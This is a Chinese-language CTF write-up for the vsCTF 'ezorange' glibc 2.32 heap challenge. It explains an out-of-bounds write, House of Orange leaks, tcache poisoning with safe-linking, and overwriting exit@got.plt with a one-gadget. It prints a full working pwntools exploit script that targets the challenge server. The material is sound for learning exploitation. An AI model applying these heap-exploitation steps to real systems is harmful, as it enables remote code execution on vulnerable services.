vsCTF ezorange writeup

vsCTF ezorange writeup

前言

最近都在做程序分析和写kernel, 好久没玩pwn了, 周日晚上回宿舍刚好看到有一个vsCTF的比赛, 就顺手做了个glibc 2.32的堆题. 题目本身比较简单, 不过考察了一些高版本的libc的特性, 在这里记录一下作为备忘.

初步分析

首先看一下保护:

$ checksec --file=ezorange
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

Partial RELRO + No PIE, 强烈暗示修改.got.plt.

IDA打开看一眼, 只提供了malloc和edit+show, 没有free, 结合题目名字, 必然是要用House of Orange了.

漏洞点在Modify函数里, 有一个堆上的OOB:

__int64 __fastcall Modify(_BYTE **orange_list)
{
  unsigned int v2; // [rsp+10h] [rbp-10h] BYREF
  unsigned int v3; // [rsp+14h] [rbp-Ch] BYREF
  _BYTE *cur_ptr; // [rsp+18h] [rbp-8h]

  printf("Orange number: ");
  __isoc99_scanf("%u", &v2);
  if ( v2 > 1 || !orange_list[v2] )
  {
    printf("Not allowed!");
    exit(0);
  }
  cur_ptr = orange_list[v2];
  printf("Total %u cell in this orange\n", *((_DWORD *)orange_list[v2] - 2) & 0xFFFFFFF0);
  printf("Cell index: ");
  __isoc99_scanf("%u", &v3);
  printf("Current value: %hhu\n", (unsigned __int8)cur_ptr[v3]);// OOB
  printf("New value: ");
  return __isoc99_scanf("%hhu", &cur_ptr[v3]);
}

限制条件: 只能同时保有两个chunk pointer, malloc参数不能超过0x1000.

题解

太长不看版:

  1. 利用OOB+House of Orange来把top chunk送进unsorted bin, 从而leak libc和heap的基址
  2. 同上, 但是在House of Orange的最后一步之前, 将top chunk的大小缩减到tcache的范围, 这样新的top chunk就会被丢到tcache里
  3. 重复2, 拿到第2个tcache, 然后利用OOB构造fake chunk, malloc两次拿到fake chunk
  4. 覆写exit@got.plt为one gadget, 然后给一个非法输入触发get shell

逐步分析

首先定义一些用来交互的工具函数:

from pwn import *

# context.log_level = 'debug'

elf = "./ezorange"
libc = ELF('libc.so.6')

# sh = process([elf], env={"LD_PRELOAD":"libc.so.6"})

sh = process([elf])

# sh=remote("104.197.118.147", 10160)

def add(idx: int, length: int):
    sh.sendlineafter(b"> ", b"1")
    sh.sendlineafter(b"Orange number: ", str(idx).encode())
    sh.sendlineafter(b"Size: ", str(length).encode())
    return


def edit(idx: int, offset: int, buf: bytes):
    # print(len(buf))
    for i,b in enumerate(buf):
        sh.sendlineafter(b"> ", b"2")
        sh.sendlineafter(b"Orange number: ", str(idx).encode())
        sh.sendlineafter(b"Cell index: ", str(offset+i).encode())
        sh.recvuntil(b"Current value: ")
        sh.recvline()
        sh.sendlineafter(b"New value: ", str(b).encode())

def leak(idx: int, offset: int):
    old_value=b""
    for i in range(0x8):
        sh.sendlineafter(b"> ", b"2")
        sh.sendlineafter(b"Orange number: ", str(idx).encode())
        sh.sendlineafter(b"Cell index: ", str(offset+i).encode())
        sh.recvuntil(b"Current value: ")
        sb=sh.recvline()
        sb = eval(sb[:-1])
        sh.sendlineafter(b"New value: ", str(sb).encode())
        old_value+=sb.to_bytes(1, "little")
    return old_value

Leak

泄露libc很简单, 只要用House of Orange将top chunk送进unsorted bin就可以了:

add(0, 0x400-0x10) # controller
edit(0, 0x400-0x10+0x8+0x2, b"\x00")
add(1, 0x1000) # throw top chunk to unsorted bin
libc_base = leak(0, 0x400)
libc_base = int.from_bytes(libc_base, "little") - (0x7f57d1f6ac00-0x007f57d1da5000) # 0x1c5c00

注意House of Orange要满足的条件: 1)伪造的 size 必须要对齐到内存页; 2)size 要大于 MINSIZE(0x10); 3) size 要小于之后申请的 chunk size + MINSIZE(0x10); 4) size 的 prev inuse 位必须为 1

此时unsorted bin中存的是老的top chunk的一部分:

image.png

我们从这一块chunk中拿走一部分add(1, 0x400), 此时拿到的新的chunk里就会包含heap上的一个地址, 可以用来计算heap的基址:

image.png

至此libc和heap的基址都已知, 接下来就是怎么劫持控制流的问题了.

tcache poisoning

题目没有给free, 我们只能像House of Orange一样, 利用sysmalloc来将chunk放到tcache中:

#### tcache1
tcache_size = 0x10
add(1, 0x540-0x10) # consume old top chunk
new_top_offset = 0x21d70

edit(0, new_top_offset+0x8+0x2, b"\x00")# change new top chunk
add(1, 0xff0-tcache_size-0x10-0x30)# consume new top chunk
add(1, tcache_size+0x10) # then send new top chunk to tcache

#### tcache2
tcache_size = 0x10
new_top_offset = 0x42d90
edit(0, new_top_offset+0x8+0x2, b"\x00")# change new top chunk
# size 0x1fd1
add(1, 0x1000-0x10)
add(1, 0xfd0-tcache_size-0x10-0x30)# consume new top chunk
add(1, tcache_size+0x10) # then send new top chunk to tcache

此时的bins:

image.png

然后就是构造fake chunk, 这里由于glibc 2.32已经加入了chunk的0x10对齐检测, 以往的0x7f之类的错位构造就没法用了, 需要找到0x10地址对齐的size. 我这里在elf开头找了个0x20的QWORD:

image.png

这样就可以在其-0x8的位置构造tcache:

 x/8gx 0x3FF140
0x3ff140:       0x0000000000000020      0x0000000000000020
0x3ff150:       0x0000000000000004      0x0000000400000004
0x3ff160:       0x0000000000000568      0x00000000003ff568
0x3ff170:       0x00000000003ff568      0x0000000000000024

接下来只要按照常规的方式, 结合heap基址计算出tcache next的地址, 然后计算出伪造的tcache的next, malloc两次拿到fake chunk:

#### fake chunk
fake_chunk = 0x3FF150
exit_plt = 0x404050
tcache2_offset = 0x44d30
fake_tcache_next = (fake_chunk^((controller_addr+tcache2_offset)>>12))
edit(0, tcache2_offset, fake_tcache_next.to_bytes(8, "little"))
add(1, 0x20-0x10)
add(1, 0x20-0x10) # got fake chunk

拿到这样的fake chunk之后并不能任意地址写, 因为OOB的长度是一个unsigned int, 限制了我们的edit的偏移最大是2^32. 但是由于是Partial RELRO的, 所以我们可以直接覆写.got.plt. 经过动态调试, 最终选择了覆写exit函数的地址, 刚好满足了libc 2.32里0xceb71处的one gadget条件:

0xceb71 execve("/bin/sh", r13, rdx)
constraints:
  [r13] == NULL || r13 == NULL
  [rdx] == NULL || rdx == NULL
one_gadget = 0xceb71 + libc_base
edit(1, exit_plt-fake_chunk, one_gadget.to_bytes(8, "little"))
add(2, 0x10) # trigger exit and get shell
sh.sendline("cat flag.txt")

完整代码

from pwn import *

# context.log_level = 'debug'

elf = "./ezorange"
libc = ELF('libc.so.6')

# sh = process([elf], env={"LD_PRELOAD":"libc.so.6"})

# sh = process([elf])

sh=remote("104.197.118.147", 10160)

def add(idx: int, length: int):
    sh.sendlineafter(b"> ", b"1")
    sh.sendlineafter(b"Orange number: ", str(idx).encode())
    sh.sendlineafter(b"Size: ", str(length).encode())
    return


def edit(idx: int, offset: int, buf: bytes):
    # print(len(buf))
    for i,b in enumerate(buf):
        sh.sendlineafter(b"> ", b"2")
        sh.sendlineafter(b"Orange number: ", str(idx).encode())
        sh.sendlineafter(b"Cell index: ", str(offset+i).encode())
        sh.recvuntil(b"Current value: ")
        sh.recvline()
        sh.sendlineafter(b"New value: ", str(b).encode())

def leak(idx: int, offset: int):
    old_value=b""
    for i in range(0x8):
        sh.sendlineafter(b"> ", b"2")
        sh.sendlineafter(b"Orange number: ", str(idx).encode())
        sh.sendlineafter(b"Cell index: ", str(offset+i).encode())
        sh.recvuntil(b"Current value: ")
        sb=sh.recvline()
        sb = eval(sb[:-1])
        sh.sendlineafter(b"New value: ", str(sb).encode())
        old_value+=sb.to_bytes(1, "little")
    return old_value

#### leak libc and heap base
add(0, 0x400-0x10) # controller
edit(0, 0x400-0x10+0x8+0x2, b"\x00")
add(1, 0x1000) # throw top chunk to unsorted bin
libc_base = leak(0, 0x400)
libc_base = int.from_bytes(libc_base, "little") - (0x7f57d1f6ac00-0x007f57d1da5000) # 0x1c5c00
add(1, 0x400) # split and leak heap base
heap_base = leak(0, 0x400+0x10)
heap_base = int.from_bytes(heap_base, "little") - 0x690
controller_addr = heap_base + 0x2a0

#### tcache1
tcache_size = 0x10
add(1, 0x540-0x10) # consume old top chunk
new_top_offset = 0x21d70

edit(0, new_top_offset+0x8+0x2, b"\x00")# change new top chunk
add(1, 0xff0-tcache_size-0x10-0x30)# consume new top chunk
add(1, tcache_size+0x10) # then send new top chunk to tcache

#### tcache2
tcache_size = 0x10
new_top_offset = 0x42d90
edit(0, new_top_offset+0x8+0x2, b"\x00")# change new top chunk
# size 0x1fd1
add(1, 0x1000-0x10)
add(1, 0xfd0-tcache_size-0x10-0x30)# consume new top chunk
add(1, tcache_size+0x10) # then send new top chunk to tcache

#### fake chunk
fake_chunk = 0x3FF150
one_gadget = 0xceb71 + libc_base
exit_plt = 0x404050
tcache2_offset = 0x44d30
fake_tcache_next = (fake_chunk^((controller_addr+tcache2_offset)>>12))
edit(0, tcache2_offset, fake_tcache_next.to_bytes(8, "little"))
add(1, 0x20-0x10)
add(1, 0x20-0x10) # got fake chunk
edit(1, exit_plt-fake_chunk, one_gadget.to_bytes(8, "little"))
add(2, 0x10) # trigger exit

sh.sendline("cat flag.txt")

sh.interactive()

发表评论

您的电子邮箱地址不会被公开。

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据